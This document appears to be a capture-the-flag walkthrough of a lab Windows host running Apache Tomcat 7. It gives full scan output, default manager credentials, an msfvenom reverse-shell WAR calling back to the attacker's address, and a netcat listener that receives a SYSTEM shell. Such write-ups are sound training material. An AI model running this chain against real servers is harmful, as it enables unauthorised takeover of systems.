1. ping 10.10.10.95

PING 10.10.10.95 (10.10.10.95) 56(84) bytes of data.

64 bytes from 10.10.10.95: icmp\_seq=1 ttl=127 time=200 ms

64 bytes from 10.10.10.95: icmp\_seq=2 ttl=127 time=281 ms

64 bytes from 10.10.10.95: icmp\_seq=3 ttl=127 time=202 ms

64 bytes from 10.10.10.95: icmp\_seq=4 ttl=127 time=221 ms

64 bytes from 10.10.10.95: icmp\_seq=5 ttl=127 time=240 ms

^C

--- 10.10.10.95 ping statistics ---

5 packets transmitted, 5 received, 0% packet loss, time 4013ms

rtt min/avg/max/mdev = 199.882/228.787/281.269/29.986 ms

ttl 127 probably windows machine

1. nmap -A -Pn -p- 10.10.10.95 --min-rate 10000

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.

Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-10 12:22 EDT

Nmap scan report for 10.10.10.95

Host is up (0.23s latency).

Not shown: 65534 filtered ports

PORT STATE SERVICE VERSION

8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1

|\_http-favicon: Apache Tomcat

|\_http-open-proxy: Proxy might be redirecting requests

|\_http-server-header: Apache-Coyote/1.1

|\_http-title: Apache Tomcat/7.0.88

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

Aggressive OS guesses: Microsoft Windows Server 2012 or Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 (90%), Microsoft Windows 7 Professional (87%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), Microsoft Windows 7 or Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 or Windows 8.1 (85%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

TRACEROUTE (using port 8080/tcp)

HOP RTT ADDRESS

1 249.22 ms 10.10.14.1

2 250.66 ms 10.10.10.95

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 49.82 seconds

1. gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u <http://10.10.10.95:8080>

===============================================================

Gobuster v3.0.1

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@\_FireFart\_)

===============================================================

[+] Url: http://10.10.10.95:8080

[+] Threads: 10

[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

[+] Status codes: 200,204,301,302,307,401,403

[+] User Agent: gobuster/3.0.1

[+] Timeout: 10s

===============================================================

2021/05/10 12:45:23 Starting gobuster

===============================================================

/docs (Status: 302)

/examples (Status: 302)

/manager (Status: 302)

/con (Status: 200)

1. Open url <http://10.10.10.95:8080/manager> click on cancel button following security misconfiguration is displayed.

<role rolename="manager-gui"/>

<user username="tomcat" password="s3cret" roles="manager-gui"/>

1. msfvenom -p java/jsp\_shell\_reverse\_tcp LHOST="10.10.14.12" LPORT=4242 -f war > shell.war

Payload size: 1094 bytes

Final size of war file: 1094 bytes

1. deploy the war file.
2. nc -nlvp 4242
3. <http://10.10.10.95:8080/shell/>
4. nc -nlvp 4242

listening on [any] 4242 ...

connect to [10.10.14.12] from (UNKNOWN) [10.10.10.95] 49192

Microsoft Windows [Version 6.3.9600]

(c) 2013 Microsoft Corporation. All rights reserved.

C:\apache-tomcat-7.0.88>whoami

whoami

nt authority\system

C:\apache-tomcat-7.0.88>